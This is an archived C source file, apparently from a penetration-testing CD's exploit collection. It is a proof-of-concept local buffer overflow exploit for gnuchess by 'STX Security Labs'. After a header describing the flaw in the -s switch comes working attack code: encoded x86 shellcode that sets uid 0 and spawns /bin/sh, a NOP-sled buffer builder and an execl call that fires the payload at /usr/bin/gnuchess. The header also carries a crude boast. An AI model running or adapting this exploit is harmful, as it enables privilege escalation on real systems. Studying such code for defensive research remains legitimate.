home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / gnuchess / 5358gchessfuck.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  3KB  |  89 lines

  1. /*
  2.  
  3.   STX SECURITY LABS:
  4.  
  5.   5358gchessfuck.c - x86 local buffer overflow exploit
  6.   proof of concept code by: ace [ ace@static-x.org ]
  7.   vulnerability discovered by: t0asty [ t0asty@static-x.org ]
  8.  
  9.   Description:
  10.  
  11.   gnuchess is an updated version of the GNU chess playing program.
  12.   It has a simple alpha-numeric board display, an IBM PC compatible  interface,
  13.   or it can be compiled for use with the chesstool program on a SUN workstation
  14.   or with the xboard program under X-windows.
  15.  
  16.   Vulnerability:
  17.  
  18.   A buffer overflow vulnerability resides in gnuchess.
  19.   A segmentation fault occurs when 652 bytes of data are sent to
  20.   the binary using the -s switch. The data overwrites the EIP therefore
  21.   it allows us to control the pointer, allowing us to execute code.
  22.   
  23.   Versions vulnerable:
  24.  
  25.   [-] All versions are believed to be vulnerable.
  26.       Tested on: Red Hat 7.3 with the latest version.
  27.  
  28.   **************************************************
  29.   * Note: gnuchess may not be suid on all systems. *
  30.   **************************************************
  31.  
  32.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  33.   X                                        X
  34.   X STX ONLINE [ www.static-x.org ]        X
  35.   X                                        X
  36.   StTtTTtTtTTtTtTTtTtTTtTtTTtTttTtTtTTtTtTTS
  37.  
  38.   **************************************************
  39.   * Note: our pen0rs are 50 x larger than yours.   *
  40.   **************************************************
  41.  
  42. */
  43.  
  44. #include <stdio.h>
  45.  
  46. char stxcode[] =
  47.  
  48.      /* ace's shellcode [ ace@static-x.org ] (setuid=0,/bin/sh) */
  49.      "\x31\xdb\x89\xd8\xb0\x17\xcd\x80\xeb\x03\x5e\xeb\x05\xe8\xf8\xff"
  50.      "\xff\xff\x83\xc6\x0d\x31\xc9\xb1\x50\x80\x36\x01\x46\xe2\xfa\xea"
  51.      "\x09\x2e\x63\x68\x6f\x2e\x72\x69\x01\x80\xed\x66\x2a\x01\x01\x54"
  52.      "\x88\xe4\x82\xed\x11\x57\x52\xe9\x01\x01\x01\x01\x5a\x80\xc2\xb6"
  53.      "\x11\x01\x01\x8c\xb2\x2f\xee\xfe\xfe\xc6\x44\xfd\x01\x01\x01\x01"
  54.      "\x88\x74\xf9\x8c\x4c\xf9\x30\xd3\xb9\x0a\x01\x01\x01\x52\x88\xf2"
  55.      "\xcc\x81\x5a\x5f\xc8\xc2\x91\x91\x91\x91\x91\x91\x91\x91\x91";
  56.  
  57.  
  58. unsigned long pen0r(void) 
  59.  
  60. {
  61.  __asm__("movl %esp, %eax");
  62. }
  63.  
  64. int main(int argc, char **argv) {
  65.  
  66.  int pos; int ace = pen0r(); int stxnop = 0x90;
  67.  int stxbytes = 648; int stxtotal = stxbytes + 4;
  68.  char *stxbof;
  69.  stxbof = (char *)malloc(stxbytes); 
  70.  
  71.  for(pos = 0; pos < stxbytes; pos++) {*(long *)&stxbof[pos] = stxnop;}
  72.  *(long *)&stxbof[stxbytes] = pen0r();
  73.  memcpy(stxbof + stxbytes - strlen(stxcode), stxcode, strlen(stxcode));
  74.  
  75.  system("clear");
  76.  printf("########################################\n");
  77.  printf("#        [ STX SECURITY LABS ]         #\n");
  78.  printf("#  gnuchess local poc exploit by: ace  #\n");
  79.  printf("########################################\n\n");
  80.  printf("[+] Return Address: 0x%x\n", ace);
  81.  printf("[+] Buffer Size: %d\n", stxtotal);
  82.  printf("[-] /usr/bin/gnuchess -s pwned!\n\n");
  83.  
  84.  execl("/usr/bin/gnuchess", "gnuchess", "-s", stxbof, NULL);
  85.  
  86. return 0;
  87.  
  88. }
  89.